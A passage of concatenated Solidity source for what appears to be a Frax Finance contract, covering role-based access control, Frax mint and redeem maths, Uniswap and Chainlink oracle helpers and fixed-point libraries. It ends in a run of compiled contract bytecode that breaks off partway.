bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import "../../Math/SafeMath.sol"; library FraxPoolLibrary { using SafeMath for uint256; // Constants for various precisions uint256 private constant PRICE_PRECISION = 1e6; // ================ Structs ================ // Needed to lower stack size struct MintFF_Params { uint256 fxs_price_usd; uint256 col_price_usd; uint256 fxs_amount; uint256 collateral_amount; uint256 col_ratio; } struct BuybackFXS_Params { uint256 excess_collateral_dollar_value_d18; uint256 fxs_price_usd; uint256 col_price_usd; uint256 FXS_amount; } // ================ Functions ================ function calcMint1t1FRAX(uint256 col_price, uint256 collateral_amount_d18) public pure returns (uint256) { return (collateral_amount_d18.mul(col_price)).div(1e6); } function calcMintAlgorithmicFRAX(uint256 fxs_price_usd, uint256 fxs_amount_d18) public pure returns (uint256) { return fxs_amount_d18.mul(fxs_price_usd).div(1e6); } // Must be internal because of the struct function calcMintFractionalFRAX(MintFF_Params memory params) internal pure returns (uint256, uint256) { // Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error // The contract must check the proper ratio was sent to mint FRAX. We do this by seeing the minimum mintable FRAX based on each amount uint256 fxs_dollar_value_d18; uint256 c_dollar_value_d18; // Scoping for stack concerns { // USD amounts of the collateral and the FXS fxs_dollar_value_d18 = params.fxs_amount.mul(params.fxs_price_usd).div(1e6); c_dollar_value_d18 = params.collateral_amount.mul(params.col_price_usd).div(1e6); } uint calculated_fxs_dollar_value_d18 = (c_dollar_value_d18.mul(1e6).div(params.col_ratio)) .sub(c_dollar_value_d18); uint calculated_fxs_needed = calculated_fxs_dollar_value_d18.mul(1e6).div(params.fxs_price_usd); return ( c_dollar_value_d18.add(calculated_fxs_dollar_value_d18), calculated_fxs_needed ); } function calcRedeem1t1FRAX(uint256 col_price_usd, uint256 FRAX_amount) public pure returns (uint256) { return FRAX_amount.mul(1e6).div(col_price_usd); } // Must be internal because of the struct function calcBuyBackFXS(BuybackFXS_Params memory params) internal pure returns (uint256) { // If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible FXS with the desired collateral require(params.excess_collateral_dollar_value_d18 > 0, "No excess collateral to buy back!"); // Make sure not to take more than is available uint256 fxs_dollar_value_d18 = params.FXS_amount.mul(params.fxs_price_usd).div(1e6); require(fxs_dollar_value_d18 <= params.excess_collateral_dollar_value_d18, "You are trying to buy back more than the excess!"); // Get the equivalent amount of collateral based on the market value of FXS provided uint256 collateral_equivalent_d18 = fxs_dollar_value_d18.mul(1e6).div(params.col_price_usd); //collateral_equivalent_d18 = collateral_equivalent_d18.sub((collateral_equivalent_d18.mul(params.buyback_fee)).div(1e6)); return ( collateral_equivalent_d18 ); } // Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization) function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) { uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_collateral_ratio is 1e6 // Subtract the current value of collateral from the target value needed, if higher than 0 then system needs to recollateralize return target_collat_value.sub(global_collat_value); // If recollateralization is not needed, throws a subtraction underflow // return(recollateralization_left); } function calcRecollateralizeFRAXInner( uint256 collateral_amount, uint256 col_price, uint256 global_collat_value, uint256 frax_total_supply, uint256 global_collateral_ratio ) public pure returns (uint256, uint256) { uint256 collat_value_attempted = collateral_amount.mul(col_price).div(1e6); uint256 effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6 uint256 recollat_possible = (global_collateral_ratio.mul(frax_total_supply).sub(frax_total_supply.mul(effective_collateral_ratio))).div(1e6); uint256 amount_to_recollat; if(collat_value_attempted <= recollat_possible){ amount_to_recollat = collat_value_attempted; } else { amount_to_recollat = recollat_possible; } return (amount_to_recollat.mul(1e6).div(col_price), amount_to_recollat); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(bytes20(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(bytes20(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(bytes20(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(bytes20(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import './Babylonian.sol'; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import '../Uniswap/Interfaces/IUniswapV2Pair.sol'; import '../Math/FixedPoint.sol'; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; import './Interfaces/IUniswapV2Pair.sol'; import './Interfaces/IUniswapV2Factory.sol'; import "../Math/SafeMath.sol"; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // Less efficient than the CREATE2 method below function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = IUniswapV2Factory(factory).getPair(token0, token1); } // calculates the CREATE2 address for a pair without making any external calls function pairForCreate2(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(bytes20(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); // this matches the CREATE2 in UniswapV2Factory.createPair } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i = 0; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }
0x608060405234801561001057600080fd5b50600436106104a75760003560e01c8063941d9f651161026b578063d9f96e8d11610150578063ed48f6f7116100c8578063f2a8d34911610097578063fe271f5f1161007c578063fe271f5f14610a03578063fee2eae614610a23578063fff6cae914610a2b57600080fd5b8063f2a8d349146109e8578063fce6fd13146109f157600080fd5b8063ed48f6f7146109a1578063ee89e02f146109a9578063f12f1447146109cc578063f288baf6146109df57600080fd5b8063e01f62bf1161011f578063e9f2838e11610104578063e9f2838e14610971578063eb3c209e14610985578063ebe2b12b1461099857600080fd5b8063e01f62bf14610961578063e1ba95d21461096957600080fd5b8063d9f96e8d146108ef578063dbf0b3fe14610925578063dc6663c71461092e578063de9853ad1461094e57600080fd5b8063bbb781cc116101e3578063cc1a378f116101b2578063cdc82e8011610197578063cdc82e80146108cb578063d239f003146108d4578063d42fc9b4146108dc57600080fd5b8063cc1a378f146108b0578063cd3daf9d146108c357600080fd5b8063bbb781cc1461085e578063bdacb30314610874578063c126d1aa14610887578063c8f33c91146108a757600080fd5b8063a1ec508a1161023a578063a8d598a41161021f578063a8d598a414610839578063af00f4e214610842578063b94c4dcb1461085557600080fd5b8063a1ec508a14610828578063a2217bc51461083157600080fd5b8063941d9f65146107c15780639637927f146107d45780639b8c15a8146107e75780639c5303eb1461081557600080fd5b806351e3fc17116103915780636d07d0af116103095780637b31c19a116102d85780638980f11f116102bd5780638980f11f146107605780638bad86a7146107735780638da5cb5b146107a157600080fd5b80637b31c19a1461075057806380faa57d1461075857600080fd5b80636d07d0af146107195780636e27cef91461072c578063721eb9c51461073557806379ba50971461074857600080fd5b80636435046711610360578063666b9cb811610345578063666b9cb8146106d35780636a231b03146106e65780636ce46bc31461070657600080fd5b806364350467146106be57806364f2c060146106cb57600080fd5b806351e3fc171461064b57806352732bc81461065e57806353a47bb7146106715780635bfd9258146106b657600080fd5b80632c0c2a0a1161042457806336f89af2116103f35780633b8105b3116103d85780633b8105b3146106285780633d18b912146106305780634fd2b5361461063857600080fd5b806336f89af2146105e9578063386a95251461061f57600080fd5b80632c0c2a0a146105855780632ca1a8951461059857806331ca208c146105a1578063323331ca146105d457600080fd5b8063169d27ef1161047b5780631b3e870a116104605780631b3e870a1461054a5780631c1f78eb1461055d5780631e090f011461056557600080fd5b8063169d27ef1461052f57806317b18c891461053757600080fd5b80628cc262146104ac5780630d7bac4f146104d9578063144e8034146104fa5780631627540c1461051a575b600080fd5b6104bf6104ba366004614c67565b610a33565b604080519283526020830191909152015b60405180910390f35b6104ec6104e7366004614d2a565b610b94565b6040519081526020016104d0565b6104ec610508366004614c67565b60156020526000908152604090205481565b61052d610528366004614c67565b610bed565b005b61052d610d13565b61052d610545366004614da8565b610e1d565b61052d610558366004614c67565b610e2d565b6104bf6110f3565b610578610573366004614c67565b611124565b6040516104d09190614e3d565b6104ec610593366004614c67565b6111d8565b6104ec60105481565b6105c46105af366004614c67565b60226020526000908152604090205460ff1681565b60405190151581526020016104d0565b6023546105c490640100000000900460ff1681565b6104ec6105f7366004614c67565b73ffffffffffffffffffffffffffffffffffffffff166000908152601c602052604090205490565b6104ec60125481565b61052d61130e565b6104bf611415565b6104ec610646366004614c67565b611422565b61052d610659366004614d2a565b61143f565b61052d61066c366004614c67565b61144d565b6001546106919073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016104d0565b6104ec611545565b6023546105c49060ff1681565b601a546104ec565b6106916106e1366004614d2a565b6116dc565b6104ec6106f4366004614c67565b60186020526000908152604090205481565b61052d610714366004614df6565b611713565b61052d610727366004614cdc565b611a54565b6104ec600c5481565b6105c4610743366004614c81565b611b98565b61052d611c1e565b61052d611d69565b6104ec611e6f565b61052d61076e366004614cb3565b611e82565b610786610781366004614c67565b612106565b604080519384526020840192909252908201526060016104d0565b6000546106919073ffffffffffffffffffffffffffffffffffffffff1681565b61052d6107cf366004614c67565b6122d8565b6023546105c49062010000900460ff1681565b6105c46107f5366004614c81565b602160209081526000928352604080842090915290825290205460ff1681565b61052d610823366004614c67565b6123f5565b6104ec60115481565b61052d6125f6565b6104ec60145481565b61052d610850366004614da8565b6126f9565b6104ec600b5481565b6023546105c49065010000000000900460ff1681565b61052d610882366004614c67565b612951565b6104ec610895366004614c67565b60176020526000908152604090205481565b6104ec60095481565b61052d6108be366004614d2a565b612a61565b6104bf612c21565b6104ec600a5481565b61052d612cb0565b6104ec6108ea366004614c67565b612db5565b6104ec6108fd366004614c67565b73ffffffffffffffffffffffffffffffffffffffff166000908152601b602052604090205490565b6104ec60135481565b6007546106919073ffffffffffffffffffffffffffffffffffffffff1681565b61052d61095c366004614dc9565b612df5565b6019546104ec565b61052d612ed6565b6023546105c4906301000000900460ff1681565b61052d610993366004614cb3565b612fda565b6104ec60085481565b61052d613118565b6105c46109b7366004614c67565b601f6020526000908152604090205460ff1681565b61052d6109da366004614c67565b613224565b6104ec600e5481565b6104ec600d5481565b6023546105c490610100900460ff1681565b6104ec610a11366004614c67565b60166020526000908152604090205481565b61052d6133aa565b61052d6133be565b600080600080610a41612c21565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601c60205260409020549193509150610a7d575060009485945092505050565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260176020908152604080832054601590925290912054610b099190610b0390670de0b6b3a764000090610afd90610ad1908890613442565b73ffffffffffffffffffffffffffffffffffffffff8b166000908152601c602052604090205490613484565b906133f9565b90613539565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260186020908152604080832054601690925290912054610b899190610b0390670de0b6b3a764000090610afd90610b5d908890613442565b73ffffffffffffffffffffffffffffffffffffffff8c166000908152601c602052604090205490613484565b935093505050915091565b600080610bd6610bc7600b54610afd610bc0670de0b6b3a7640000600a5461344290919063ffffffff16565b8790613484565b670de0b6b3a764000090613539565b9050600a54811115610be75750600a545b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e000000000000000000000000000000000060648201526084015b60405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce22906020015b60405180910390a150565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610d50575060075473ffffffffffffffffffffffffffffffffffffffff1633145b610ddc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b426009819055601254610def9190613539565b6008556040517fb5cfe3ccd03847076864f081609024cbc2eb98c38da4d8b2cebe9479a9a1ef3790600090a1565b610e29333384846135b2565b5050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610e6a575060075473ffffffffffffffffffffffffffffffffffffffff1633145b610ef6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604090205460ff161515600114610f8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6164647265737320646f65736e277420657869737420616c72656164790000006044820152606401610c90565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f6020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690555b602054811015610e29578173ffffffffffffffffffffffffffffffffffffffff1660208281548110611031577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1614156110e157600060208281548110611095577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b806110eb81614fd1565b915050610fd6565b60008061110d60125460105461348490919063ffffffff16565b60125460115461111c91613484565b915091509091565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601e60209081526040808320805482518185028101850190935280835260609492939192909184015b828210156111cd57838290600052602060002090600502016040518060a00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152505081526020019060010190611169565b505050509050919050565b6000806111e483611422565b905080156112fe576003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301526000926112ab928592610afd92670de0b6b3a7640000929116906370a082319060240160206040518083038186803b15801561126d57600080fd5b505afa158015611281573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a59190614d90565b90613484565b905060006112e5610bc7670de0b6b3a7640000610afd6112de670de0b6b3a7640000600e5461344290919063ffffffff16565b8690613484565b9050600e548111156112f65750600e545b949350505050565b50670de0b6b3a764000092915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061134b575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6113d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffffff8116650100000000009182900460ff1615909102179055565b60008061111c3333613b23565b6000610be7670de0b6b3a7640000610afd600d546112a586612db5565b61144a333383613eae565b50565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615156001146114ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4164647265737320646f65736e277420657869737420616c72656164790000006044820152606401610c90565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b6000806000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166